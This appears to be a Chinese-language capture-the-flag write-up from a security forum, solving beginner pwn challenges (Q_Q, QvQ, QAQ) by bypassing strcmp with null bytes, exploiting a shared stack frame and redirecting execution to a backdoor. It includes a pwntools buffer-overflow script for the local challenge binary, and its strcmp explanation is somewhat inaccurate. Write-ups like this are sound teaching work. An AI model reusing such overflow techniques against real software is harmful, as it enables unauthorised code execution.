首页
社区
课程
招聘
[原创]0rays战队PTT0爷的QAQ系列题解
发表于: 2022-4-27 23:55 7062

[原创]0rays战队PTT0爷的QAQ系列题解

2022-4-27 23:55
7062

题目地址

img

自11月2日到11月17日持续半个月的大工程,期间百分之大部分的时间都走了弯路。甚至大多都是慢慢调出来的,现在写前言的时候有些题的原理都还不是很清楚。借此机会,顺便研究一下原理。

img

可以看出要绕过两个东西,一个是strcmp的比较,另一个是v4的值。

为啥要在这里聊呢,因为后面QvQ、QAQ考察的核心就是strcmp函数

可以看出,当两个字符的指针均不为空的时候,比较指针所指的字符,如果存在不同,返回ASCII码的差值;当有一个字符指针为空的时候,结束比较并返回0.

一开始比较的时候,在gdb里面看到两个首字符相等就十分高兴,以为出了,结果后来用x指令发现后面几位根本不等,调了半天才出。

img

发现和Q_Q有很大的相似之处,但是不同的是两个比较的字符串buf和s2是我们读入的。从buf开始读入的字符,覆盖buf的同时也能够覆盖s2,所以我们只需要传入'\x00'就能保险地构造空指针使得绕过strcmp

一开始不知道strcmp函数的性质,走了很多弯路

img

img

pwn叫你不要看f5

可以看出strcmp(s1,s2)返回0时,到loc_8048547。当[ebp+var_44]与1Bh不等时,到达system()

这道题真的要对栈帧有深入的理解,因为涉及共用栈帧。并且能读懂汇编指令,

img

发现有一个全局变量(划重点!!!!),两个函数,还有一个打印的cannary,自然会想到接收cannary然后再覆盖的时候不修改cannary的值同时将main函数的返回地址设置为backdoor。但按照这种想法,后面就会被莫名其妙的segmentfault泼冷水

img

img

可以看到有个奇怪的地方,func1有读入但是没有比较,而func2有比较但是没有读入。会想到用func1读修改func2的v1的值。如何修改呢,这就涉及到对栈帧的理解了。进入gdb调试,我们发现,func1和func2的栈帧的ebp是完全一样的,意思是两个函数的栈帧其实是共用的。有人会问:会不会func1在清栈的时候把修改的值抹去或者重置?当然不可能,清栈时的leave函数个人理解其实是修改ebp和esp寄存器的值,对内存中其它地方的值是没有修改的。所以,这种想法是完全可行。

我们会发现,覆盖后在gdb里面单步步过会再get后到达一个奇怪的地方

img

一开始我想不通,这0x6161615d是什么寄,知道我读到了这个:

img

最后ret的其实是esp即[[ebp+var_4]-4],所以我们把ebp+var_4的位置放置backdoor_address+4即可

其实说实话,这四道题都还挺简单的,主要是要调,要熟练掌握gdb中x指令和看懂ida里的汇编语言,清楚理解栈帧等等。总算出新手村了,以后还要多加努力!

 
from pwn import *
r=process("./Q_Q")
payload1=p32(0x11756f79)+'a'*(0x16-0xc)+p32(0x8181B1B)
gdb.attach(r)
r.send(payload1)
payload2='a'
r.send(payload2)
r.interactive()
from pwn import *
r=process("./Q_Q")
payload1=p32(0x11756f79)+'a'*(0x16-0xc)+p32(0x8181B1B)
gdb.attach(r)
r.send(payload1)
payload2='a'
r.send(payload2)
r.interactive()
int strcmp(const char *str1,const char *str2)
{
    /*不可用while(*str1++==*str2++)来比较,当不相等时仍会执行一次++
    return返回的比较值实际上是下一个字符。应将++放到循环体中进行。*/
    while(*str1 == *str2)
    {
                assert((str1 != NULL) && (str2 != NULL));               
        if(*str1 == '\0')
            return 0;       
        str1++;
        str2++;
    }
    return *str1 - *str2;
}
int strcmp(const char *str1,const char *str2)
{
    /*不可用while(*str1++==*str2++)来比较,当不相等时仍会执行一次++
    return返回的比较值实际上是下一个字符。应将++放到循环体中进行。*/
    while(*str1 == *str2)
    {
                assert((str1 != NULL) && (str2 != NULL));               
        if(*str1 == '\0')
            return 0;       
        str1++;
        str2++;
    }

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//